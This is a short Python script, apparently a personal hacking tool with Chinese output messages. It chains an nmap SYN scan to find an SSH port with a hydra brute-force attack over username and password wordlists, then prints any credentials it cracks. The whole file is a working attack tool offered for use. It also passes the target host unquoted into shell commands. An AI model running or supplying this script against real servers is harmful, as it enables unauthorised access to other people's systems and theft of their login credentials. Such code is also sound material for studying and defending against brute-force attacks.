1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
|
import os
import re
import tempfile
import argparse
RED = '\033[1;31m'
GREEN = '\033[1;92m'
RESET = '\033[0m'
def scan(host):
print(f'{RED}==== 扫描开始 ===={RESET}')
print(f'目标: {host}')
with tempfile.NamedTemporaryFile('w+') as outfile:
os.system(f'nmap -sS -T4 -n -v -oN {outfile.name} {host}')
output = outfile.read()
mysql_line = re.search('.*ssh.*', output)
if mysql_line != None:
port = int(mysql_line.group(0).split('/')[0])
print(f'{GREEN}发现ssh运行在端口{port}{RESET}')
assert port in range(1, 65536)
return port
else:
print(f'未发现ssh运行')
return None
def explode(host, port, user_fname, passwd_fname):
print(f'{RED}==== 爆破开始 ===={RESET}')
print(f'目标: {host}:{port}')
with tempfile.NamedTemporaryFile('w+') as outfile:
os.system(f'hydra -L "{user_fname}" -P "{passwd_fname}" -s {port} -t 4 ssh://{host} > {outfile.name}')
output = outfile.read()
credential_line = re.search(r'login:.+', output)
if credential_line != None:
credentials = credential_line.group(0).split()
user = credentials[1]
passwd = credentials[3]
print(f'{GREEN}爆破成功: 用户名 {user} 密码 {passwd}{RESET}')
return (user, passwd)
else:
print('爆破失败')
return None
def main():
parser = argparse.ArgumentParser(description='Exploooosion!')
parser.add_argument('host', type=str, help='target hostname or ip')
parser.add_argument('-u', '--user-file', type=str, help='file for possible usernames')
parser.add_argument('-p', '--passwd-file', type=str, help='file for possible passwords')
args = parser.parse_args()
scan_res = scan(args.host)
if scan_res == None:
exit(-1)
port = scan_res
explosion_res = explode(args.host, port, args.user_file, args.passwd_file)
if explosion_res == None:
exit(-1)
username, passwd = explosion_res
if __name__ == '__main__':
main()
|
